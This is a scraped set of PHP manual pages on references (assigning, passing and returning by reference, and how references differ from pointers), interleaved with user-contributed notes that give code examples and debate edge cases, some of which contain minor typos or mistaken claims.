hkmaly at bigfoot dot com 15-Sep-2004 05:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com 18-Jul-2004 05:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
    ...
    $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
thenewparadigm at hotmail dot com 07-May-2004 09:33
one very useful aspect for reference that i don't think i saw documented was the ability to skip a few steps with objects stored in objects.

for example:

assuming the object structure is correctly constructed (and mind you i haven't tried this in php, but it does work in most other high-end programming languages), instead of using this structure to get a variable/function

//start

$obj1 -> obj2 -> obj3 -> varX = 0;
$obj1 -> obj2 -> obj3 -> varY = 0;
$obj1 -> obj2 -> obj3 -> functionX();
$obj1 -> obj2 -> obj3 -> functionY();

//end

you can use this method:

//start

$tempObj = & $obj1 -> obj2 -> obj3;

$tempObj -> varX = 0;
$tempObj -> varY = 0;
$tempObj -> functionX();
$tempObj -> functionY();

//end

note, if you want to use a shortcut variable to modify the original object you must include the ampersand (&) to reference the variable, otherwise if you used this line of code

//start

$tempObj = $obj1 -> obj2 -> obj3;

//end

any changes you make to $tempObj will not change the original object and may compromise the object structure, not to mention that it takes up extra memory.  however, if you are just using the shortcut variable for read-only purposes, not using a reference wont cause any problems.

another alternative in programming languages is the 'with' structure as seen below

//start

with($obj1 -> obj2 -> obj3) {
    varX = 0;
    varY = 0;
    functionX();
    functionY();
}

//end

however, i don't expect this will work because as far as i've seen the 'with' structure is not supported in php.
nathan 06-Apr-2004 07:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es 30-Mar-2004 07:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php
developer at sirspot dot com 03-Feb-2004 07:30
Since references are more like hardlinks than pointers, it is not possible to change a reference to an object by using that same reference.  For example:

The following WILL NOT WORK as expected and may even crash the PHP interpreter:

$object =& $object->getNext();

However, by changing the previous statement to use a temporary reference, this WILL WORK:

$temp =& $object;
$object =& $temp->getNext();


What References Are

References in PHP are a means to access the same variable content by different names. They are not like C pointers; for instance, you cannot perform pointer arithmetic using them, they are not actual memory addresses, and so on. See What References Are Not for more information. Instead, they are symbol table aliases. Note that in PHP, variable name and variable content are different, so the same content can have different names. The closest analogy is with Unix filenames and files - variable names are directory entries, while variable content is the file itself. References can be likened to hardlinking in Unix filesystem.

User Contributed Notes

mike at eastghost dot com 18-Feb-2014 11:06
If I make a function, using PHP 5.5.5:
function recurring_mailer_form( $form, $form_state ) {}

Is it the same as:
function recurring_mailer_form( $form,  & $form_state ) {}
?

----------
NO

Using php 5.5.x+

If you pass an object as usual (ie, without the ampersand), you can (only) alter the object's state (properties) (but not change the whole obj into a new obj)

$obj is an instance of the class Test which contains a member variable called hello:

function modify($obj) { $obj->hello = 'world (modified)!'; }

$obj->hello = 'world';
modify($obj);
var_dump($obj->hello);  // outputs "world (modified!)"

----------

Now, using the same code but assigning another value to $obj instead modifying the object's state results in no modification:

function modify($obj) { $obj = 42; }
var_dump($obj->hello);  // outputs "world"

----------

Only accepting the parameter explicitly as a reference gives us the ability to completely change the variable's contents:

function modify(&$obj) { $obj = 42; }
var_dump($obj);         // outputs "42"

----------

http://stackoverflow.com/questions/19847781/do-i-need-to-use-the-ampersand-in-php-5-5-x-and-above-anymore


What References Do

There are three basic operations performed using references: assigning by reference, passing by reference, and returning by reference. This section will give an introduction to these operations, with links for further reading.

Assign By Reference

In the first of these, PHP references allow you to make two variables refer to the same content. Meaning, when you do:

<?php
$a =& $b;
?>
it means that $a and $b point to the same content.

Note:

$a and $b are completely equal here. $a is not pointing to $b or vice versa. $a and $b are pointing to the same place.

Note:

If you assign, pass, or return an undefined variable by reference, it will get created.

Example #1 Using references with undefined variables

<?php
function foo(&$var) { }

foo($a); // $a is "created" and assigned to null

$b = array();
foo($b['b']);
var_dump(array_key_exists('b', $b)); // bool(true)

$c = new StdClass;
foo($c->d);
var_dump(property_exists($c, 'd')); // bool(true)
?>

The same syntax can be used with functions that return references, and with the new operator (since PHP 4.0.4 and before PHP 5.0.0):

<?php
$foo =& find_var($bar);
?>
Since PHP 5, new returns a reference automatically, so using =& in this context is deprecated and produces an E_DEPRECATED message in PHP 5.3 and later, and an E_STRICT message in earlier versions. (Technically, the difference is that, in PHP 5, object variables, much like resources, are a mere pointer to the actual object data, so these object references are not "references" in the same sense used before (aliases). For more information, see Objects and references.)

Warning

If you assign a reference to a variable declared global inside a function, the reference will be visible only inside the function. You can avoid this by using the $GLOBALS array.

Example #2 Referencing global variables inside functions

<?php
$var1 = "Example variable";
$var2 = "";

function global_references($use_globals)
{
    global $var1, $var2;
    if (!$use_globals) {
        $var2 =& $var1; // visible only inside the function
    } else {
        $GLOBALS["var2"] =& $var1; // visible also in global context
    }
}

global_references(false);
echo "var2 is set to '$var2'\n"; // var2 is set to ''
global_references(true);
echo "var2 is set to '$var2'\n"; // var2 is set to 'Example variable'
?>
Think about global $var; as a shortcut to $var =& $GLOBALS['var'];. Thus assigning another reference to $var only changes the local variable's reference.

Note:

If you assign a value to a variable with references in a foreach statement, the references are modified too.

Example #3 References and foreach statement

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
    // do something
}
echo $ref; // 3 - last element of the iterated array
?>

While not being strictly an assignment by reference, expressions created with the language construct array() can also behave as such by prefixing & to the array element to add. Example:

<?php
$a = 1;
$b = array(2, 3);
$arr = array(&$a, &$b[0], &$b[1]);
$arr[0]++; $arr[1]++; $arr[2]++;
/* $a == 2, $b == array(3, 4); */
?>

Note, however, that references inside arrays are potentially dangerous. Doing a normal (not by reference) assignment with a reference on the right side does not turn the left side into a reference, but references inside arrays are preserved in these normal assignments. This also applies to function calls where the array is passed by value. Example:

<?php
/* Assignment of scalar variables */
$a = 1;
$b =& $a;
$c = $b;
$c = 7; //$c is not a reference; no change to $a or $b

/* Assignment of array variables */
$arr = array(1);
$a =& $arr[0]; //$a and $arr[0] are in the same reference set
$arr2 = $arr; //not an assignment-by-reference!
$arr2[0]++;
/* $a == 2, $arr == array(2) */
/* The contents of $arr are changed even though it's not a reference! */
?>
In other words, the reference behavior of arrays is defined in an element-by-element basis; the reference behavior of individual elements is dissociated from the reference status of the array container.

Pass By Reference

The second thing references do is to pass variables by reference. This is done by making a local variable in a function and a variable in the calling scope referencing the same content. Example:

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
?>
will make $a to be 6. This happens because in the function foo the variable $var refers to the same content as $a. For more information on this, read the passing by reference section.

Return By Reference

The third thing references can do is return by reference.

User Contributed Notes

admin at torntech dot com 29-Aug-2013 04:58
Something that has not been discussed so far is reference of a reference.
I needed a quick and dirty method of aliasing incorrect naming until a proper rewrite could be done.
Hope this saves someone else the time of testing since it was not covered in the Does/Are/Are Not pages.
Far from best practice, but it worked.

<?php
$a = 0;

$b =& $a;
$a =& $b;

$a = 5;
echo $a . ', ' . $b;
//ouputs: 5,5

echo ' | ';

$b = 6;
echo $a . ',' . $b;
//outputs: 6,6

echo ' | ';
unset( $a );
echo $a . ', ' . $b;

//outputs: , 6

class Product {

    public $id;
    private $productid;

    public function __construct( $id = null ) {
        $this->id =& $this->productid;
        $this->productid =& $this->id;
        $this->id = $id;
    }

    public function getProductId() {
        return $this->productid;
    }

}

echo ' | ';

$Product = new Product( 1 );
echo $Product->id . ', ' . $Product->getProductId();
//outputs 1, 1
$Product->id = 2;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outputs 2, 2
$Product->id = null;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outouts ,
Oddant 01-Jun-2013 05:07
About the example on array references.
I think this should be written in the array chapter as well.
Indeed if you are new to programming language in some way, you should beware that arrays are pointers to a vector of Byte(s).

<?php $arr = array(1); ?>
$arr here contains a reference to which the array is located.
Writing :
<?php echo $arr[0]; ?>
dereferences the array to access its very first element.

Now something that you should also be aware of  (even you are not new to programming languages) is that PHP use references to contains the different values of an array. And that makes sense because the type of the elements of a PHP array can be different.

Consider the following example :

<?php

$arr = array(1, 'test');

$point_to_test =& $arr[1];

$new_ref = 'new';

$arr[1] =& $new_ref;

echo $arr[1]; // echo 'new';
echo $point_to_test; // echo 'test' ! (still pointed somewhere in the memory)

?>
butshuti at smartrwanda dot org 18-Feb-2013 03:05
This appears to be the hidden behavior: When a class function has the same name as the class, it seems to be implicitly called when an object of the class is created.
For instance, you may take a look at the naming of the function "reftest()": it is in the class "reftest". The behavior can be tested as follows:

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest1()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }

    public function reftest()
    {
       echo "REFTEST() called here!\n";
    }
}

$reference = new reftest();
/*You must notice the above will also implicitly call reference->reftest()*/

$reference->reftest1();
$reference->reftest2();

echo $reference->a."\n"; //Echoes 2, not 3 as previously noticed.
echo $reference->c."\n"; //Echoes 2.
?>

The above outputs:

REFTEST() called here!
2
2

Notice that reftest() appears to be called (though no explicit call to it was made)!
nay at woodcraftsrus dot com 08-Jul-2011 06:35
in PHP you don't really need pointer anymore if you want to share an  object across your program

<?php
class foo{
        protected $name;
        function __construct($str){
                $this->name = $str;
        }
        function __toString(){
                return  'my name is "'. $this->name .'" and I live in "' . __CLASS__ . '".' . "\n";
        }
        function setName($str){
                $this->name = $str;
        }
}

class MasterOne{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

class MasterTwo{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

$bar = new foo('bar');

print("\n");
print("Only Created \$bar and printing \$bar\n");
print( $bar );

print("\n");
print("Now \$baz is referenced to \$bar and printing \$bar and \$baz\n");
$baz =& $bar;
print( $bar );

print("\n");
print("Now Creating MasterOne and Two and passing \$bar to both constructors\n");
$m1 = new MasterOne( $bar );
$m2 = new MasterTwo( $bar );
print( $m1 );
print( $m2 );

print("\n");
print("Now changing value of \$bar and printing \$bar and \$baz\n");
$bar->setName('baz');
print( $bar );
print( $baz );

print("\n");
print("Now printing again MasterOne and Two\n");
print( $m1 );
print( $m2 );

print("\n");
print("Now changing MasterTwo's foo name and printing again MasterOne and Two\n");
$m2->setFooName( 'MasterTwo\'s Foo' );
print( $m1 );
print( $m2 );

print("Also printing \$bar and \$baz\n");
print( $bar );
print( $baz );
?>
elrah [] polyptych [dot] com 28-Jan-2011 07:38
It appears that references can have side-effects.  Below are two examples.  Both are simply copying one array to another.  In the second example, a reference is made to a value in the first array before the copy.  In the first example the value at index 0 points to two separate memory locations. In the second example, the value at index 0 points to the same memory location.

I won't say this is a bug, because I don't know what the designed behavior of PHP is, but I don't think ANY developers would expect this behavior, so look out.

An example of where this could cause problems is if you do an array copy in a script and expect on type of behavior, but then later add a reference to a value in the array earlier in the script, and then find that the array copy behavior has unexpectedly changed.

<?php
// Example one
$arr1 = array(1);
echo "\nbefore:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
$arr2 = $arr1;
$arr2[0]++;
echo "\nafter:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
echo "\$arr2[0] == {$arr2[0]}\n";

// Example two
$arr3 = array(1);
$a =& $arr3[0];
echo "\nbefore:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
$arr4 = $arr3;
$arr4[0]++;
echo "\nafter:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
echo "\$arr4[0] == {$arr4[0]}\n";
?>
akinaslan at gmail dot com 09-Jan-2011 02:31
In this example class name is different from its first function and however there is no construction function. In the end as you guess "a" and "c" are equal. So if there is no construction function at same time class and its first function names are the same, "a" and "c" doesn't equal forever. In my opinion php doesn't seek any function for the construction as long as their names differ from each others.

<?php
class reftest_new
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest_new();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 16-Jan-2010 12:14
I think a correction to my last post is in order.

When there is a constructor, the strange behavior mentioned in my last post doesn't occur. My guess is that php was treating reftest() as a constructor (maybe because it was the first function?) and running it upon instantiation.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function __construct()
    {
        return 0;
    }

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 15-Jan-2010 03:08
When using references in a class, you can reference $this-> variables.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b = 2;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>

However, this doesn't appear to be completely trustworthy. In some cases, it can act strangely.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 3.
echo $reference->c; //Echoes 2.
?>

In this second code block, I've changed reftest() so that $b increments instead of just gets changed to 2. Somehow, it winds up equaling 3 instead of 2 as it should.
strata_ranger at hotmail dot com 27-Sep-2009 12:29
An interesting if offbeat use for references:  Creating an array with an arbitrary number of dimensions.

For example, a function that takes the result set from a database and produces a multidimensional array keyed according to one (or more) columns, which might be useful if you want your result set to be accessible in a hierarchial manner, or even if you just want your results keyed by the values of each row's primary/unique key fields.

<?php
function array_key_by($data, $keys, $dupl = false)
/*
 * $data  - Multidimensional array to be keyed
 * $keys  - List containing the index/key(s) to use.
 * $dupl  - How to handle rows containing the same values.  TRUE stores it as an Array, FALSE overwrites the previous row.
 *
 * Returns a multidimensional array indexed by $keys, or NULL if error.
 * The number of dimensions is equal to the number of $keys provided (+1 if $dupl=TRUE).
 */
{
    // Sanity check
    if (!is_array($data)) return null;

    // Allow passing single key as a scalar
    if (is_string($keys) or is_integer($keys)) $keys = Array($keys);
    elseif (!is_array($keys)) return null;

    // Our output array
    $out = Array();

    // Loop through each row of our input $data
    foreach($data as $cx => $row) if (is_array($row))
    {

      // Loop through our $keys
      foreach($keys as $key)
      {
        $value = $row[$key];

        if (!isset($last)) // First $key only
        {
          if (!isset($out[$value])) $out[$value] = Array();
          $last =& $out; // Bind $last to $out
        }
        else // Second and subsequent $key....
        {
          if (!isset($last[$value])) $last[$value] = Array();
        }

        // Bind $last to one dimension 'deeper'.
        // First lap: was &$out, now &$out[...]
        // Second lap: was &$out[...], now &$out[...][...]
        // Third lap:  was &$out[...][...], now &$out[...][...][...]
        // (etc.)
        $last =& $last[$value];
      }

      if (isset($last))
      {
        // At this point, copy the $row into our output array
        if ($dupl) $last[$cx] = $row; // Keep previous
        else       $last = $row; // Overwrite previous
      }
      unset($last); // Break the reference
    }
    else return NULL;

    // Done
    return $out;
}

// A sample result set to test the function with
$data = Array(Array('name' => 'row 1', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_a'),
              Array('name' => 'row 2', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_b'),
              Array('name' => 'row 3', 'foo' => 'foo_a', 'bar' => 'bar_b', 'baz' => 'baz_c'),
              Array('name' => 'row 4', 'foo' => 'foo_b', 'bar' => 'bar_c', 'baz' => 'baz_d')
              );

// First, let's key it by one column (result: two-dimensional array)
print_r(array_key_by($data, 'baz'));

// Or, key it by two columns (result: 3-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar')));

// We could also key it by three columns (result: 4-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar', 'foo')));

?>
dnhuff at acm dot org 09-Jun-2008 08:33
In reply to Drewseph using foo($a = 'set'); where $a is a reference formal parameter.

$a = 'set' is an expression. Expressions cannot be passed by reference, don't you just hate that, I do. If you turn on error reporting for E_NOTICE, you will be told about it.

Resolution: $a = 'set'; foo($a); this does what you want.
Drewseph 30-May-2008 01:15
If you set a variable before passing it to a function that takes a variable as a reference, it is much harder (if not impossible) to edit the variable within the function.

Example:
<?php
function foo(&$bar) {
    $bar = "hello\n";
}

foo($unset);
echo($unset);
foo($set = "set\n");
echo($set);

?>

Output:
hello
set

It baffles me, but there you have it.
Amaroq 01-Apr-2008 07:56
The order in which you reference your variables matters.

<?php
$a1 = "One";
$a2 = "Two";
$b1 = "Three";
$b2 = "Four";

$b1 =& $a1;
$a2 =& $b2;

echo $a1; //Echoes "One"
echo $b1; //Echoes "One"

echo $a2; //Echoes "Four"
echo $b2; //Echoes "Four"
?>
charles at org oo dot com 19-Oct-2007 12:59
points to post below me.
When you're doing the references with loops, you need to unset($var).

for example
<?php
foreach($var as &$value)
{
...
}
unset($value);
?>
Hlavac 09-Oct-2007 11:25
Watch out for this:

foreach ($somearray as &$i) {
  // update some $i...
}
...
foreach ($somearray as $i) {
  // last element of $somearray is mysteriously overwritten!
}

Problem is $i contians reference to last element of $somearray after the first foreach, and the second foreach happily assigns to it!
dovbysh at gmail dot com 06-Jul-2007 09:50
Solution to post "php at hood dot id dot au 04-Mar-2007 10:56":

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

unset($GLOBALS['v']);

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo x

?>
amp at gmx dot info 08-Jun-2007 07:59
Something that might not be obvious on the first look:
If you want to cycle through an array with references, you must not use a simple value assigning foreach control structure. You have to use an extended key-value assigning foreach or a for control structure.

A simple value assigning foreach control structure produces a copy of an object or value. The following code

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $v)
{
  $v1++;
  echo $v."\n";
}

yields

0
1

which means $v in foreach is not a reference to $v1 but a copy of the object the actual element in the array was referencing to.

The codes

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $k=>$v)
{
    $v1++;
    echo $arrV[$k]."\n";
}

and

$v1=0;
$arrV=array(&$v1,&$v1);
$c=count($arrV);
for ($i=0; $i<$c;$i++)
{
    $v1++;
    echo $arrV[$i]."\n";
}

both yield

1
2

and therefor cycle through the original objects (both $v1), which is, in terms of our aim, what we have been looking for.

(tested with php 4.1.3)
firespade at gmail dot com 03-Apr-2007 04:11
Here's a good little example of referencing. It was the best way for me to understand, hopefully it can help others.

$b = 2;
$a =& $b;
$c = $a;
echo $c;

// Then... $c = 2
php at hood dot id dot au 05-Mar-2007 07:56
I discovered something today using references in a foreach

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo b (!)
?>

After reading the manual this looks like it is meant to happen. But it confused me for a few days!

(The solution I used was to turn the second foreach into a reference too)
ladoo at gmx dot at 17-Apr-2005 11:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
php.devel at homelinkcs dot com 16-Nov-2004 12:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
joachim at lous dot org 11-Apr-2003 12:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
      $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.


What References Are Not

As said before, references are not pointers. That means, the following construct won't do what you expect:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

What happens is that $var in foo will be bound with $bar in the caller, but then re-bound with $GLOBALS["baz"]. There's no way to bind $bar in the calling scope to something else using the reference mechanism, since $bar is not available in the function foo (it is represented by $var, but $var has only variable contents and not name-to-value binding in the calling symbol table). You can use returning references to reference variables selected by the function.

User Contributed Notes

shuimuqingshu at gmail dot com 13-Mar-2012 11:57
i think the code below can tell the difference between PHP reference and C pointer:

In PHP:
<?php
    $a = 0;
    $b = &a;
    echo $a; //0
    unset($b); // unset $b
    echo $a; //0 it's OK
?>

In C:
#include <stdio.h>
int main(int argc, char const *argv[]) {
    int a = 0;
    int* b = &a;

    printf("%i\n", a); //0
    free(b);              // free b
    printf("%i\n", a); //get error: *** error for object 0x7fff6350da08: pointer being freed was not allocated
}
briank at kappacs dot com 25-Jan-2011 11:38
I think the terminology is tripping people up when it comes to assigning objects.

Try thinking of binding and references like this:

<?php
# Code:
$a = 5; $b =& $a; $c = new stdClass(); $d = $c;

# Behind the scenes symbol table and values:
$global_names = array(
'a' => array('binding' => 0),
'b' => array('binding' => 0),
'c' => array('binding' => 1),
'd' => array('binding' => 2),
);
$values = array(
0 => array('type' => 'scalar', 'value' => 5),
1 => array('type' => 'objId', 'value' => 0),
2 => array('type' => 'objId', 'value' => 0)
);
?>

$a is bound to (or references, or is a reference to) the value at index 0 (scalar 5).
$b is bound to the same thing as $a--the value at index 0 (scalar 5).
$c is bound to the value at index 1 (object ID 0).
$d is bound to the value at index 2 (a separate and distinct value also referring to object ID 0).

When the documentation states that you cannot [re-]bind $bar to something else from within the example function foo, it means you can't change what in my pseudo-engine would be $global_names['bar']['binding']. You can only change $values[$names['var']['binding']] (using "$var ="; the same value referenced/bound by $values[$global_names['bar']['binding']) or $names['var']['binding'] (using "$var =&").

Also consider this code:

<?php
$a = 3; $b =& $a;
function foo (&$c) { $c = new stdClass(); }
function bar () { return new stdClass(); }
function &fum () { return new stdClass(); }
if (!is_object($a)) { echo "\$a does not initially refer to an object\n"; }
foo($b);
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by foo\n";
if (is_object($a)) { echo "\$a now contains an object identifier\n"; }
$b =& bar();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by bar\n";
$b =& fum();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by fum\n";
?>

which outputs:

$a does not initially refer to an object
$b has not been re-bound by foo
$a now contains an object identifier
$b has not been re-bound by bar
$b has been re-bound by fum

In other words, the value can be changed but the binding does not (except for returning a reference), exactly as stated.

Object identifiers do make object "values" work like pointers (but not to the extent of C/C++, and not like references).
Anonymous 08-Jul-2010 06:25
I understand this like that:
  The reference in PHP is like creating single pointer at own variable in C/C++ and point at variable ( without pointers arithmetic and we can't get number of variable address in memory).

For example
<?php
$a = 4;
$b = &$a;
$c = &$b;
echo "$a - $b - $c<br>";
// 3 pointers ( a , b , c) point at memory location where  stored value of number is 4.
$c = 5;
echo "$a - $b - $c<br>";
// all variables equals 5;
unset($a);
$c = 6;
echo "$a - $b - $c<br>";
//$a is not exist but it was only pointer ( not real part of memory) so we have to way to get value or change it
?>
----
When we want create some "pointer of pointer" in PHP i can't do that because it's impossible in PHP. We need pointer to another pointer to change the place that the pointer refers to. In your exaple you just change value of variable in function. ( no operation of pointers )
Andrew 04-Sep-2008 07:56
What References are not: References.

References are opaque things that are like pointers, except A) smarter and B) referring to HLL objects, rather than memory addresses. PHP doesn't have references. PHP has a syntax for creating *aliases* which are multiple names for the same object. PHP has a few pieces of syntax for calling and returning "by reference", which really just means inhibiting copying. At no point in this "references" section of the manual are there any references.
Anonymous 09-Jun-2008 08:52
The example given in the text:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

illustrates (to my mind anyway) why the = and & should be written together as a new kind of replacement operator and not apart as in C, like  $var = &$GLOBALS["baz"];

Using totally new terminology:

To me the result of this function is not surprising because the =& means 'change the "destination" of $var from wherever it was to the same as the destination of $GLOBALS["baz"]. Well it 'was' the actual parameter $bar, but now it will be the global at "baz".

If you simply remove the & in the the replacement, it will place the value of $GLOBALS["baz'] into the destination of $var, which is $bar (unless $bar was already a reference, then the value goes into that destination.)

To summarize, =, replaces the 'destination's value; =&, changes the destination.
ansonyumo at email dot com 28-Feb-2004 10:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
    a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
    *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch 26-Jan-2004 04:57
A not so simple Workaround...but still doable...have fun

class My{
    var $value;

    function get1(&$ref){
        $ref[] =& $this;
    }

    function get2(&$ref){
        $ref =& $this;
    }

    function get3(&$ref){
        $ref = $this;
    }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at 13-Oct-2001 03:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$a...\n");
    unset($a);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");

    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$b...\n");
    unset($b);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.


Passing by Reference

You can pass a variable by reference to a function so the function can modify the variable. The syntax is as follows:

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
// $a is 6 here
?>

Note: There is no reference sign on a function call - only on function definitions. Function definitions alone are enough to correctly pass the argument by reference. As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

The following things can be passed by reference:

  • Variables, i.e. foo($a)
  • New statements, i.e. foo(new foobar())

  • References returned from functions, i.e.:

    <?php
    function foo(&$var)
    {
            $var++;
    }
    function &    bar()
    {
            $a = 5;
        return     $a;
    }
    foo(bar());
    ?>
    See more about returning by reference.

